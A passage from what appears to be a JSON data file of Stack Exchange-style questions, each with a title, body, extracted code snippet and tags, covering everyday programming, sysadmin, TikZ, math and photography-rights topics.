data.\nHere's my array:\n\nAnd my PHP code that attempts to generate a button:\n\
nThe result of that code is:\n\nI just can't figure out why I can't get even a
simple alert to fire. Running:\n\nCorrectly prints out \"Company 1\", but it
doesn't print that text in the argument of the alert().\nI've read Stackoverflow,
lots of web articles, and experimented for the past day and I just can't figure
this out. If anyone can provide any help, I'd GREATLY appreciate it.\nThanks!\n",
"$stockInfo = array(\n array('name' => 'Company 1', 'description' =>
'Description 1', 'price' => '100', 'yield' => '.05'),\n array('name' => 'Company
2', 'description' => 'Description 2', 'price' => '89', 'yield' => '.06'),\n
array('name' => 'Company 3', 'description' => 'Description 3', 'price' => '110',
'yield' => '.03')\n);\n", "php javascript echo alert heredoc"], "3164440": ["How to
access virtual guest centos on windowsxp remotely", "I have installed CentOS(domain
0) as a Base OS then using XEN tool virt-manager, I have created another
CentOS5(domU) as virtual guestOS. \nI can easily access base CentOS(domain 0) by
windows remotely using putty and vnc viewer. But \nI cann't able to access virtual
guest CentOS5(domU) directly by windows putty or vnc.\nBut I have enable port of
tcp/udp in 5901 under virtual domU OS no use for me.\nPlease help me how to access
virtual guest centos remotely???\nThanks in advance.\n", "", "windows centos xen
selinux"], "3430308": ["Android: How to pass the data to sub-activities?", "The
main activity includes some variables with set values. I created a sub-activity
with the form which has to be filled with the data from main activity so I guess
the data have to be passed to the sub-activity when it starts.\nDoes anyone know
how to pass the variable values to the sub-activity from the main activity?\
nThanks!\n", "", "android activity"], "1754329": ["MAMP changes to Apache 'document
root' are ineffective", "I seek help finding why MAMP fails to effect changes to
the Apache 'document root', and fixing this problem. This second edit of the
original filing includes substantial additional information that may assist in
recognition of solutions. \nApache recently stopped responding to changes in
the 'DocumentRoot' directive in the 'main' server configuration section of the
Apache httpd.conf. Apache continues to work well, except that it remains stuck on
one prior setting of 'DocumentRoot'. I would value your help finding this
problem's source, and fixing it. \nI run Apache 2.0.64 on an early 2011 MacBookPro
with Lion. For convenience, I work within MAMP 2.0.5, which includes Apache
2.0.64. I've been developing multiple websites, located in different directories
under different paths. To switch localhost between these paths and directories, I
routinely used the MAMP (not MAMP Pro) GUI sequence of actions\n
'Preferences...' > 'Apache' > 'Document Root' > 'Select...'\nto switch between two
paths.\nA bit over a week ago, some setting or process behind this GUI switch
became stuck on one of the paths (\"path p\", for simplicity). The GUI itself is
not stuck; it displays 'Document Root' as if it switches back and forth between
path p and path q. However, only sites under path p will run on localhost/path. If
I switch the MAMP setting for 'document root' to path q and then try to run
localhost site q, q will not run, even though it ran fine before the problem first
occurred; but any site accessible through path p will still run. \nLooking behind
the MAMP GUI, 'phpinfo' reports 'DOCUMENT_ROOT' as being changed to 'path q' in
phpinfo's 'Apache Environment' section, and also in '_SERVER(\"DOCUMENT_ROOT\")' in
the 'PHP Variables' section. When I change the MAMP 'Document_Root\" setting, I
can, in real time using TextWrangler, watch the setting be updated in 'httpd.conf'.
\nThe Mac 'Activity Monitor' shows seven 'httpd' processes running. Using
'Inspect' shows all of them are running within MAMP. A Mac 'Spotlight' search for
httpd.conf reveals only the one 'httpd.conf' file discussed above. \nRelevant
error messages accessed through MAMP/logs/apache_error.log are always (except for
the timestamp): \n-- resuming normal operations\n[Sun Apr 22 12:34:22 2012]
[notice] caught SIGTERM, shutting down\n[Sun Apr 22 12:34:24 2012] [notice] Digest:
generating secret for digest authentication ...\n[Sun Apr 22 12:34:24 2012]
[notice] Digest: done\n[Sun Apr 22 12:34:24 2012] [notice] Apache/2.2.21 (Unix)
mod_ssl/2.2.21 OpenSSL/0.9.8r DAV/2 PHP/5.3.6 configured -- resuming normal
operations\nIf I understand this correctly, the running version of Apache is
2.2.21, rather than Apache 2.0.64, which MAMP's FAQ page (displayed as a tab
accessed the web screen opened from the GUI's 'Open start page' button) says is the
installed version. \nCorresponding error messages in the Console general error log
are:\n4/21/12 9:40:27.746 PM [0x0-0xcd0cd].de.appsolute.MAMP: 120421 21:40:27
mysqld_safe mysqld from pid file /Applications/MAMP/tmp/mysql/mysql.pid ended\
n4/21/12 9:40:28.653 PM [0x0-0xcd0cd].de.appsolute.MAMP: Warning: DocumentRoot
[/Applications/MAMP/Library/docs/dummy-host2.example.com] does not exist\n4/21/12
9:40:28.721 PM [0x0-0xcd0cd].de.appsolute.MAMP: 120421 21:40:28 mysqld_safe Logging
to '/Applications/MAMP/logs/mysql_error_log.err'.\n4/21/12 9:40:28.871 PM [0x0-
0xcd0cd].de.appsolute.MAMP: 120421 21:40:28 mysqld_safe Starting mysqld daemon with
databases from /Applications/MAMP/db/mysql\n4/21/12 9:40:29.799 PM [0x0-
0xcd0cd].de.appsolute.MAMP: Warning: DocumentRoot
[/Applications/MAMP/Library/docs/dummy-host2.example.com] does not exist\nExcept
for date and time, these messages remain the same for any changes through MAMP to
'DocumentRoot'. I cannot recognize any useful information in these messages. \
nShortly before this problem occurred, I reinstalled MAMP in order to fix a problem
with the MySQL server. While trying to debug the MySQL server in MAMP, I and a
more skilled computer scientist also installed MacPorts. \nIt seems possible that
MAMP is actually opening a version of Apache, 2.2.21, that might have been
installed by MacPorts, rather than the version, 2.0.64, which presumably came with
MAMP 2.0.5; but that part of MAMP still acts as if Apache 2.0.64 is the operational
version. If this is true, it might lead quickly to a solution, though I don't know
enough about how MAMP or Apache works to follow through on this. \nI've searched
broadly for online advice, tested a suggestion to format WordPress for multiple
users, and toyed with changing 'etc/hosts', which is now restored to default
values. Most of the concerned web sites are hard-coded in XHTML, PHP and CSS; a
few use WordPress. \nA day after I posted this problem to 'Stack Overflow', as
question #10252067,not yet receiving a response, I appended an earlier version this
query to a MAMP Forum thread about PHP not working. That post has not yet been
published, and may be under review. As I look more closely at the problem, it
appears to me that the part of the MAMP interface that interacts with httpd.conf
may be working as it should, and that the problem might relate either to how httpd
reads and interprets settings in httpd.conf, or to how MAMP recognizes and
interacts among several possible versions of Apache. \nI would appreciate your
guidance to solve this failure to implement the Apache 'DocumentRoot' setting.\n",
"", "apache mamp document-root phpinfo"], "2402083": ["how to download excel file
in internet explorer browser with phpexcel library", "i have written code that is
working in Mozilla firefox but not working in internet explorer\ni cannot solve it.
in internet explorer its complete page loding with out popup download .\ni need to
generete excel file with IE support also.please
help me. \nhere is my code.\n\n\n$objPHPExcel = new PHPExcel();\n\n$objPHPExcel-
>getActiveSheet()->getColumnDimension('A')->setWidth(20);\n$objPHPExcel-
>getActiveSheet()->getColumnDimension('B')->setWidth(18);\n\n\n\n$objPHPExcel-
>setActiveSheetIndex(0) \n ->setCellValue('A1', 'Agent
Code')\n ->setCellValue('B1', 'Month'); \
n$i=2; \n while($row1=mysql_fetch_array($rs))\n {\n
$month = $row1['smonth']+1;\n $month_name = date( 'F', mktime(0,
0, 0, $month) );\n $objPHPExcel->setActiveSheetIndex(0)\n -
>setCellValue('A'.$i, $row1['scode'])\n ->setCellValue('B'.$i,
$month_name)\n ->setCellValue('C'.$i, $row1['syear']);\n
$i++; \n } \n$objPHPExcel->getActiveSheet()->setTitle('Simple');\
n$objPHPExcel->setActiveSheetIndex(0);\nheader('Content-Type: application/vnd.ms-
excel');\nheader('Content-Disposition: attachment;filename=\"01simple.xls\"');\
nheader('Cache-Control: max-age=0');\n\n$objWriter =
PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n$objWriter-
>save('php://output');\n\nexit;\n\n", "", "php internet-explorer download
phpexcel"], "3940824": ["SEO images in Nextgen Galleries", "I have a couple blogs /
wordpress sites that I post pictures on. I have noticed that most of the pictures
I post with the nextgen gallery plug in never show up in google images search. Is
there a way to fix this?\n", "", "images seo plugin-nextgen-gallery google-
search"], "61452": ["Kendo UI Mobile - Custom Icons", "how to add custom icons in
kendo ui mobile? \nDocumentation:\n\nbut this way the gradients in the tabstrip
from .km-icon and .km-state-active can't be applied.\ncode for default icons:\n\
nhow to do this with custom icons OR is there any other way?\nthanks in advance!\
n", ".km-custom {\n background-image: url(\"foo.jpg\");\n}\n", "html5 mobile
mobile-web kendo-ui"], "2416813": ["Simple, Cross Platform MIDI Library for
Python", "I want to do build a small app that creates MIDI sounds. I've never dealt
with sound in programming so I'd like to start with something that's basic and has
good documentation. I want to stick with Python since I'm the most comfortable with
it and don't want to overwhelm myself, initially.\nMy time is split about 50/50
between Windows and Ubuntu so something that \"just works\" on both platforms would
be really helpful.\nAny suggestions?\n", "", "python audio midi"], "3519253":
["Disable delete items in a site from central admin", "From memory I know it is
possible to restrict the options in a site from central admin. I want to remove the
rights to delete items. How can I do this from central admin to stop site
collection admins being able to assign the delete permission?\n", "", "2010
permissions central-administration site"], "2997608": ["How to encrypt parameters
of URL in ASP.NET MVC with Routes", "I have a very specific problem, I want to
encrypt and decrypt my URL parameters in ASP.net MVC.\nIf my current url is like
this :\n\nI want to appear it on user browser as:\n\nWith the help of Routes
table.\n", "http:/mywebsite/controler/Action/ParameterValue1/ParameterValue2/
ParameterVale3\n", "asp.net-mvc asp.net-mvc-routing"], "4570281": ["VirtualBox
4.1.20 (Windows 7 / Ubuntu 12.04 (32 bit)) copy/paste is broken", "I have a Windows
7 Pro host, and Ubuntu 12.04 LTS guest. I cannot get the shared clipboard working.\
nI have installed Guest Additions 4.1.20 on VirtualBox 4.1.20, have restarted,
followed instructions found here, and have enabled bidirectional clipboard sharing
within VirtualBox options.\nHowever, I still cannot copy and paste between the host
and guest. Copy/paste works great within the host, and within the guest, but not
between the two.\nI'm out of ideas.\n", "", "windows-7 virtualbox sharing
clipboard"], "3096255": ["Wowza: Seek certain part of video stream", "I have Wowza
installed and would like to know if it's possible to stream a certain part of a
video, e.g. 0:30 to 0:45 (15 second clip), over RTMP?\n", "", "video streaming rtmp
clip wowza"], "125272": ["Mapping hash map key/value pairs to named constructor
arguments in Scala", "Is it possible to map the key value pairs of a Map to a Scala
constructor with named parameters?\nThat is, given\n\n... how can I create an
instance of Person using a map like\n\nWhat I am trying to achieve in the end is a
nice way of mapping Node4J objects to Scala value objects.\n", "class Person(val
firstname: String, val lastname: String) {\n ...\n}\n", "scala language"],
"1590568": ["Combinator logic axioms", "I'm carrying out some experiments in
theorem proving with combinator logic, which is looking promising, but there's one
stumbling block: it has been pointed out that in combinator logic it is true that
e.g. I = SKK but this is not a theorem, it has to be added as an axiom. Does anyone
know of a complete list of the axioms that need to be added?\nEdit: You can of
course prove by hand that I = SKK, but unless I'm missing something, it's not a
theorem within the system of combinator logic with equality. That having been said,
you can just macro expand I to SKK... but I'm still missing something important.
Taking the set of clauses p(X) and ~p(X), which easily resolve to a contradiction
in ordinary first-order logic, and converting them to SK, performing substitution
and evaluating all calls of S and K, my program generates the following (where I am
using ' for Unlambda's backtick):\n''eq ''s ''s ''s 'k s ''s ''s 'k s ''s 'k k 'k
eq ''s ''s 'k s 'k k 'k k ''s 'k k 'k false 'k true 'k true\nIt looks like maybe
what I need is an appropriate set of rules for handling the partial calls 'k and
''s, I'm just not seeing what those rules should be, and all the literature I can
find in this area was written for a target audience of mathematicians not
programmers. I suspect the answer is probably quite simple once you understand it.\
n", "", "logic theory combinators theorem-proving"], "5051698": ["How to test if a
google analytics code works?", "I made slight changes to the code described here in
order to track outbound link clicks. This is my code:\n\nThen I added it to my href
tags like so:\n\nI think it's not working, though. Anyhow, it's really hard to
check if it works or not. How do I check if it's working or not?\nEDIT: Using
google analytics debugger for chrome I was able to see what's going on. It
displays:\n\nIt's odd because normal page tracking is working as expected. This is
how I set up google analytics code:\n\n", "function recordOutboundLink(link, label)
{\n try {\n var myTracker=_gat._getTrackerByName();\n
_gaq.push(['myTracker._trackEvent', 'Outbound Links', label, link.href ]);\n
setTimeout('document.location = \"' + link.href + '\"', 100)\n }catch(err){}\n}\
n", "google-analytics"], "684985": ["Addition of RAM causes IDE hard disk to not be
detected anymore", "Not seen this before on my travels...\nI have a Foxconn Winfast
MCP61vm2ma-ers2h motherboard. It has 2gb of ram (2 Dimms, 1gb a piece), a 160GB
seagate Barracuda and two SATA drives 400GB and 1.5TB).\nI've just tried to add a
2GB dimm into the third bank. When I do, the POST fails to recognise the IDE hard
disks anymore. The RAM is detected fine at POST.\nand to get even more confusing,
plugging in a standard DVD drive into the IDE channel and that works fine with or
without the new 2GB Dimm. \nI'm thinking BIOS on motherboard or Firmware on
Harddisk....anybody have any thoughts?\n", "", "hard-drive boot memory
motherboard"], "127153": ["Getting undeclared identifiers when creating subclassed
C4Shapes (C4 Framework)", "I\u2019m making a program in C4 that consists of three
separate buttons that change both their shape when pressed. When I create a bunch
of methods for each button like this:\n\n...and then call for them in the
canvas...\n\n...All I end up getting are a bunch of undeclared identifier errors.
What am I doing wrong?\n", "@implementation MyButton\n\n-(void)methodA {\n
C4Log(@\"methodA\");\n [button1 ellipse:CGRectMake(centerPos.x -
buttonWidth/2.0f, 80, buttonWidth, buttonHeight)];\n}\n\n-(void)methodB {\n
C4Log(@\"methodB\");\n [button2 ellipse:CGRectMake(centerPos.x -
buttonWidth/2.0f, centerPos.y - buttonHeight/2.0f, buttonWidth, buttonHeight)];\n}\
n\n-(void)methodC{\n C4Log(@\"methodC\");\n [button3
ellipse:CGRectMake(centerPos.x - buttonWidth/2.0f, canvasHeight - 280, buttonWidth,
buttonHeight)];\n}\n\n@end\n", "ios subclass c4"], "2746018": ["How replace many
words with other many words in Notepad++?", "\nPossible Duplicate:\nFind and
Replace several several different values all at once \n\nto find multiple words i
use | \nBut how regex must i use to replace words with many words?\nLook here
please:\n\n", "", "notepad++"], "1471397": ["iphone - add to block - uitable", "I
want add to block - uitable, and hide/show it with animation by button pressing\
nCan someone explain how can I do it, or give some code example\nThanks a lot\n",
"", "iphone objective-c uitableview block"], "1813402": ["How to exploit
externalized images runtime-wise?", "Thanks to the valiant efforts of @zeroth, I
got TikZ' externalization running with , TikZ images pieced together by
environments and macros and my homebrew compilation script. In particular, I do not
use but run the external jobs \"by hand\" (better for output stream collection).\
nIn my preamble, I have\n\nand is turned on for individual images. There are no
other explicit (global) TikZ settings, not counting style definitions.\nThe results
have been sobering, though: build-time about doubled! \nApparently, translating the
images on their own is way more expensive than just translating them as part of the
main file. Of course, calls two to n (five, in my case) are way faster
but that does not seem to offset the overhead. The document this was observed with
contains about forty images, the majority plots ( + + data files).\nI could live
with that if only the first build took that long. However, does apparently not
check whether an image has changed since the last build; it always creates a
complete and I (that is my conservative script) have to rebuild all of them.\nOf
course I could check for each figure wether the fitting PDF is there and not
rebuild if it is. However, that would cause changes to the image to be ignored
until rebuild is forced somehow.\nI can see no helpful auxiliary outputs that I (my
script) could use to check whether an image has changed. Therefore my question:\n\
nIs there a way \n\nforce TikZ to check for still valid externalization results or\
nto detect from the outside whether it is necessary to rerun TikZ externalization
jobs?\n\n\n", "todonotes", "tikz-pgf compiling tikz-external"], "1509357":
["Resources for persuading that photography is not a suspicious activity", "I am
looking for web resources to help persuade someone that photography is not a
suspicious activity and photographers should not be considered a threat. Right now,
the discussion is pretty cordial and I'd like to keep it that way, while still
being persuasive.\nTo be clear, I'm not asking for clarifications of what my rights
are (as this question does), but rather I'm looking to persuade someone who hasn't
thought much about it that photography is not suspicious and he should not worry
about photographers on his property, even if they don't ask permission first. (The
property in question is a privately owned park, so arbitrary members of the public
are wandering through all day long.)\nThe intended audience is someone who's not
hostile to photography, but doesn't really know anything about it. On the other
hand, they do know the building security department reasonably well in a
professional capacity; building security is hostile to photography. The intended
audience has not had deep discussions about the matter with security (being busy
with other things) and has simply accepted security's recommendations that
photography needs to be restricted.\nEdit\nSome good clarifying questions in the
responses; here are a few more details.\n\nWhat kind of place is it? It's an open
space between a couple of office buildings, in a major US city. There are some
areas with nice landscaping, and some gravel areas tables and chairs for eating. It
gets a lot of foot traffic from people walking through it. At first glance you
might assume it's public property, but I'm pretty sure it's private. It's correct
that it's not quite a park; however, I'm not sure exactly what to call it. It does
have some unique properties, but I'd prefer not to give too many details because
the purpose of the question is not to call out the property owner in public (and I
don't think they're important for answering).\nWhat happened? I was in the space
making photos (from the same places any passerby might be) and a guard came out of
the adjacent office building and told me to stop, so I left. The park was empty at
the time. I later dug up the owner and sent him an e-mail, receiving a very
friendly reply a couple of days later. That's where we are now.\nThere is no policy
posted. I have no idea if there have been previous complaints.\nI'm not interested
in quibbling about legalities or make any sort of legal fuss. If the property owner
says no, I'll leave it alone. Any photos I make would publicize the place, so I
don't want to do that if I'm being hassled, even if I'm right.\nI want to persuade
the owner that anyone should be permitted to take photos whenever they want, not
just obtain permission for myself (which would be easy).\n\n", "", "legal"],
"77045": ["Checkbox Take Value From Textbox", "I have a problem to combine the
checkbox and textbox values. Here my snipet code :\n\nthis is my php code to
process that form:\n\nif all checkbox were checked, the result os going fine. But
if the second and 3rd were checked, array $array_note become wrong.\nPlease help
me. Thanks in advance.\n", "<input type=\"checkbox\" name=\"id_staf[]\"
value=\"query from database\">\n<input type=\"text\" name=\"note[]\" value=\"any
text entered\">\n<br>\n<input type=\"checkbox\" name=\"id_staf[]\" value=\"query
from database\">\n<input type=\"text\" name=\"note[]\" value=\"any text entered\">\
n<br>\n<input type=\"checkbox\" name=\"id_staf[]\" value=\"query from database\">\
n<input type=\"text\" name=\"note[]\" value=\"any text entered\">\n<br>\n",
"checkbox textbox"], "5579864": ["Script to automatically open SQL Server
Management Studio 2005 from another interface", "Please I need help with a script
that can help me open the SQL Server Management Studio 2005 from a button in an
another interface.\nThanks Roger\n", "", "sql-server-2005 ssms"], "4949397":
["iPhone build programming", "\nPossible Duplicate:\nWarning: The Copy Bundle
Resources build phase contains this target's Info.plist file \n\nThere is no build
issue problem in program.But,When i try to run on simulator it show two error.\n\
nI'm not understanding, why this errors are showing?\nUpdate:I solved the
errors.but why this is showing?\n\nThanks in advice\n", "Command
/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/clang failed with
exit code 1\n\nWarning: The Copy Bundle Resources build phase contains this
target's Info.plist file 'CalCulator/CalCulator-Info.plist'.\n", "objective-c ios
xcode4.2"], "5981800": ["Strange arrow mark with TikZ edge and anchors.", "When I
draw an edge between two nodes with anchors and globally set option , I get an
additional arrow tip symbol at the beginning of the last edge in the path. For
example in\n\nthe first command produces incorrect output, while the second
produces correct output:\n\nAm I doing something wrong, or is this a bug in TikZ?\
n", "[->]", "tikz-pgf"], "1047019": ["In Joomla 2.5, How can I add category images
and Title in the \"list all categories\" layout", "In Joomla 2.5.8, I've created a
menu item that uses the \"List All Categories\" type. I'm wanting to display the
image AND Title for the parent category and the images for each subcategory as
follows:\n-- Parent Category Image -- \nParent Category Title\nParent Category
Description\nSubCategory1 Title\nSubcategory1 Image -- SubCategory1 Description\
nSubCategory2 Title\nSubcategory2 Image -- SubCategory2 Description\nSubCategory3
Title\nSubcategory3 Image -- SubCategory3 Description\nSubCategory4 Title\
nSubcategory4 Image -- SubCategory4 Description\nI'm working in the file
template/html/com_content/categories/default.php and I've tried copying the code
from the blog.php file:\n\nBut it breaks the page and loads a blank page. The
titles of the subcategories and their descriptions show, I'm just missing the
parent title and the images.\nIn the options for the menu item I have the category
title, description and image all set to show.\nAny help on this would be greatly
appreciated.\nhere's the deafault.php code:\n\n", "<?php if ($this->params-
>get('show_description_image') && $this->category->getParams()->get('image')) : ?>\
n <img src=\"<?php echo $this->category->getParams()->get('image'); ?
>\"/>\n <?php endif; ?>\n", "image layout joomla joomla2.5 categories"],
"4682832": ["How to order an XML query?", "I have an XML query in SSMS 2008 R2 that
is based on a stored proc. I just learned about this cool way to run XML code like
the following in SSMS. I didn't realize it was this simple! However, is there an
easy way to modify this XML query so that it reorders the results based on
whichever column I choose? I tried replacing line 12 with a different column, but
this didn't change the order.\n\nNote that rpt_Vacancy is a stored proc\n",
"rpt_vacancy '<parameter_set>\n<parameter name=\"AGENCYID\" type_code=\"FK\"
value=\"{B233233B-6CB1-4C45-99E8-B99CB4FF8C74}\" scrnval_id=\"\" show=\"false\">\
n</parameter>\n<parameter name=\"AGENCYNAME\" type_code=\"FK\" value=\"Youth
Villages\" scrnval_id=\"\" show=\"false\">\n</parameter>\n<parameter
name=\"ISMULTIAGENCY\" type_code=\"L\" value=\"0\" scrnval_id=\"\" show=\"false\">\
n</parameter>\n<parameter name=\"WORKERID\" type_code=\"FK\" value=\"A10EF9F9-DCF6-
4B84-87F3-9988C66F2423\" scrnval_id=\"\" show=\"false\">\n</parameter>\n<parameter
name=\"REPORT_CODE\" type_code=\"FK\" value=\"VACANCY\" scrnval_id=\"\"
show=\"false\">\n</parameter>\n<parameter scrnval_id=\"\" name=\"SUB_TITLE\"
type_code=\"S\" show=\"false\" value=\"Order by: Managing Office\"/>\n<parameter
scrnval_id=\"\" name=\"agency\" type_code=\"FK\" value=\"{B233233B-6CB1-4C45-99E8-
B99CB4FF8C74}\" descript=\"Youth Villages\" show=\"true\"/>\n<parameter
scrnval_id=\"\" name=\"min_age\" descript=\"Min Age ( Greater than or Equal to )\"
type_code=\"N\" report_parameter=\"1\" is_not_in=\"\" value=\"\" show=\"false\"/>\
n<parameter scrnval_id=\"\" name=\"max_age\" descript=\"Max Age ( Less than or
Equal to )\" type_code=\"N\" report_parameter=\"1\" is_not_in=\"\" value=\"\"
show=\"false\"/>\n<parameter scrnval_id=\"\" name=\"is_suppr_units\"
descript=\"Suppress Units Totals\" type_code=\"L\" report_parameter=\"1\"
is_not_in=\"\" value=\"\" show=\"false\"/>\n<parameter scrnval_id=\"\"
name=\"is_suppr_members\" descript=\"Suppress Printing of Members\" type_code=\"L\"
report_parameter=\"1\" is_not_in=\"\" value=\"\" show=\"false\"/>\n<parameter
scrnval_id=\"\" name=\"is_suppr_clients\" descript=\"Suppress Printing of Clients
Placed\" type_code=\"L\" report_parameter=\"1\" is_not_in=\"\" value=\"\"
show=\"false\"/>\n<parameter scrnval_id=\"\" name=\"is_beds_avail\"
descript=\"Homes with Available Beds\" type_code=\"L\" report_parameter=\"1\"
is_not_in=\"\" value=\"\" show=\"false\"/>\n<parameter scrnval_id=\"\"
name=\"is_male_accept\" descript=\"Accepts Male
- Entry on Unit\" type_code=\"L\" report_parameter=\"1\" is_not_in=\"\" value=\"\"
show=\"false\"/>\n<parameter scrnval_id=\"\" name=\"is_female_accept\"
descript=\"Accepts Female - Entry on Unit\" type_code=\"L\" report_parameter=\"1\"
is_not_in=\"\" value=\"\" show=\"false\"/>\n<parameter scrnval_id=\"\"
name=\"is_accept\" descript=\"Currently Accepting Placements\" type_code=\"L\"
report_parameter=\"1\" is_not_in=\"\" value=\"\" show=\"false\"/>\n<parameter
type_code=\"FK\" show=\"true\" name=\"Managing Office\" scrnval_id=\"89457190-16A6-
428C-9A77-682886169FEF\" is_not_in=\"\" value=\"4053DB39-0777-4BA2-B3D3-
5A4170E343C4\" descript=\"Jackson, MS\">\n</parameter>\n<parameter type_code=\"FK\"
show=\"true\" name=\"\" scrnval_id=\"\" is_not_in=\"\" value=\"\" descript=\"\">\
n</parameter>\n</parameter_set>\n'\n", "xml stored-procedures ssms"], "4014478":
["How can a non-dense, well-ordered set like a long ray be uncountable?", "How can
a non-dense, well-ordered set like a long ray be uncountable? If it's a set of an
uncountable number of [0,1) line segments laid end to end, shouldn't there be a
bijective function between the COUNTABLE set of natural numbers and the n-th
segment on the ray? Is its very existence not a contradiction?\n", "", "general-
topology set-theory"], "687508": ["Constructing the jacobian of a curve", "I was
just wondering, is there a general way to construct explicitly the jacobian of a
curve, giving explicitly the vector space $\\mathbb{C}^g$ and the lattice? (over
the complex numbers is enough for what I'm studying) Or maybe for certain types of
curves, for example, if $X$ is a hyperelliptic curve given by the equation
$y^2=f(x)$ (nonsingular), can its jacobian be explicitly calculated?\nThis may be
too broad of a question, but if anyone can point me possibly to a book, I'd
appreciate it.\n", "", "algebraic-geometry complex-geometry"], "1174559":
["Automate mails in Lotus Notes", "We need to open up the Lotus Notes client from a
JSP page.\nCurrently in the JSP we are opening up the Microsoft Outlook Client
using \nThe from email, to email, email subject and email body should get populated
from the Request Scope. I got one solution but in that it is possible only to send
the mails directly I need to open the Lotus Notes page. There are some methods like
, , . Is there any method which opens the compose mail option when we click the
submit button after entering all the details? Not only JavaScript. If the solution
is in Java also no problem.\nBasically the user would just click some link on a
page and then Lotus Notes client should open up with the pre-populated information.
Finally the user would review the email contents, add any message they need to add
in the email message body and then finally send the email. If possible send me the
code also.\n", "ActiveXObject(Outlook.Application)", "java javascript lotus-
notes"], "3070055": ["Open source tool to merge videos (VCD CD, DVD chapters)
without losing too much data prior to encoding", "Is there an opensource tool to
merge videos alongside with encoding. Merge in a sense to merge vcd cd1 and vcd
cd2. or to merge different chapters of dvd. can handbrake do this?\n", "",
"software-rec encoding merge video-editing handbrake"], "615380": ["Best way to
convert xml to have CDATA around text (in java)", "I have a weird requirement where
I need to take some xml and re-write it so that the text nodes are wrapped in CDATA
(this is for a client that won't allow normal escaping).\nIt doesn't seem like any
of the normal XML libraries dom4j, jdom, java xml, have any built in support for
this. Any ideas? Can I use XSLT for this?\nI wasn't very clear. Here is what
I'll start with:\n\nWhat I need to do is convert this to:\n\n-Dave\n", "<foo>This
has an &amp; escaped value</foo>\n", "java xml"], "73468": ["C# .NET custom
Controls / Components custom drawing", "I want to design a framework of custom
Controls / Components. From what I've read about, Controls are good for simple
atomic type objects, like a line, circle, etc, if we're talking about graphics.
Components, on the other hand, may also be good like this, but are better for
aggregating a set of related controls, like a Label and a TextBox, for instance.\
nNow, I would also like to develop them in such a way that they are \"aware\" of
some Model objects. I believe the view framework will generically reference the
corresponding model objects.\nLiterally:\n\nAnd so on, along these lines.\nHowever,
I notice that the designer won't work when this is the case (?). This may be a
reasonable trade off if I can work up a sufficiently rich set of framework
controls.\nOkay, so for the question at the heart of this: Can anyone recommend any
halfway decent tutorials how to go about drawing? I think I should use some
combination of System.Drawing, Bitmap, perhaps for a canvas, and Graphics.\nDrawing
lines and such seems simple enough, but I want to get a better grasp on what pieces
I need to pick up on.\nThank you...\n", " public class MyObjectControl<TObject> :
Control where TObject : MyObjectType { }\n\n public class MyNewObjectControl :
MyObjectControl<MyObjectType> { }\n", "c# winforms components drawing control"],
"4486910": ["Arraylist extract values and update", "I have 2 arraylists. I am using
one arraylist as a key to store values. \nIn nutshell, my code is as below. \n\nIn
the above program snippet, transactionid is used to store my key values. If there
is a match in the key value, I am updating the arraylist transactionvalue.\nSo far
so good. But now, I want to update another arraylist diskitemvalues based on the
above two arraylist values. The update is something like below. \n\nI have to
navigate to the particular value in the transactionid arraylist and for that
particular key, I have to find out the corresponding values in the transactionvalue
arraylist and update the diskitemvalues arraylist for all values present in the
transactionvalue arraylist. \nExample:\nTransactionid transactionvalue\n 1
X Y \n2 M N\nFor transactionid = 2, my diskitemvalues [2] should
have M = so & so and N = so & so from the input file. If it is transactionid = 1,
my diskitemvalues[1] should have X = so & so and Y = so & so from the input file. \
n", " for(int i=0;i<transactionid.size(); i++)\n {\n
if(transactionid.get(i).equals(transactionnumber))\n {\n
transactionvalue.set(i, transactionvalues);\n }\n }\n", "java
arraylist"], "3174553": ["alphanumeric zero padding in dataTables?", "I feel like
this has a \"duh\" answer, but \nI am using the jQuery Plugin DataTables.net to
display a json Google Spreadsheet. You can see it in action here:
http://jsfiddle.net/ukoku/jEqu2/2/\nI would like to sort the rows by the Location
column, which reads in A1, B2 format, like chess. With numbers I know I'd need zero
padding, but I have no idea how to add zeros to alphanumeric data, nor do I have
any clue how to do it with DataTables instead of regular string.\nEDIT: Sorry, I
wasn't clear. The place where I thought zeros needed to be added was between the
alphabetic character and the number in the Location slot. Currently, Q9 sorts as
being after Q14, for example. I need it to sort first by alpha (Ax, Bx), then
within that sort as numbers. Normally when I've had 1 show up as higher than 10,
it's because I needed to padleft with zeros to get 001 and 010. But I'm not sure
how to stick zeros between the numbers for Q009 and Q014, etc., or it that's even
the proper solution.\nEventually, the goal is to customize the CSS to display rows
with the same location in groups. I honestly have no idea if this is possible
either, but since I can't even get the data sorted....\n", "", "javascript jquery
datatables google-spreadsheet"], "5071647": ["RANK partition function used in
conjunction with SUM OVER", "I have the following which works but I think I've done
my usual trick of over complicating something which could be a lot simpler.\nIf you
run the script you will see what I'm trying to achieve - simply a rank initially by
Department score and then a rank by each name's score within each department.\nHow
do I simplify the following?:\n\n", "IF OBJECT_ID('TEMPDB..#Table') IS NOT NULL
BEGIN DROP TABLE #Table END;\n CREATE TABLE #Table \n (\n Department
VARCHAR(100),\n Name VARCHAR(100),\n Score INT\n );\n\nINSERT INTO #Table
VALUES\n('Sales','michaeljackson',7),\n('Sales','jim',10),\n('Sales','jill',66),\
n('Sales','j',1), \n('DataAnalysis','jagoda',66),\n('DataAnalysis','phil',5),\
n('DataAnalysis','jesus',6),\n('DataAnalysis','sam',79),\
n('DataAnalysis','michaeljackson',9999);\n\nWITH SumCte AS\n (\n SELECT
Department,\n sm = sum(Score) \n FROM #Table\n GROUP BY Department\
n )\n, RnkDepCte AS\n (\n SELECT Department,\n rk =RANK() OVER
(ORDER BY sm DESC)\n FROM SumCte\n )\n, RnkCte AS\n (\n SELECT
Department,\n Name,\n Score,\n rnk = RANK() OVER (PARTITION BY
a.Department ORDER BY a.Score DESC)\n FROM #Table a \n ) \nSELECT
a.Department,\n a.Name,\n a.Score,\n FinalRank = RANK() OVER
(ORDER BY ((10000/b.rk) + (100/a.rnk)) DESC)\nFROM RnkCte a \n INNER JOIN
RnkDepCte b \n ON a.Department = b.Department\n", "sql sql-server-2008-r2"],
"4428709": ["How to physically print python code in color from IDLE?", "I have
searched for an answer to this but the related solutions seem to concern ing in the
interpreter.\nI am wondering if it is possible to print (physically on paper)
python code in color from IDLE?\nI have gone to: in IDLE and it seems to just
print out a black and white version without prompting whether to print in color
etc. \nEdit:\nIt seems like this might not be available so the option is to copy
code to a text editor like SciTE and
print from there - quite like the default IDLE syntax highlighting though. \n",
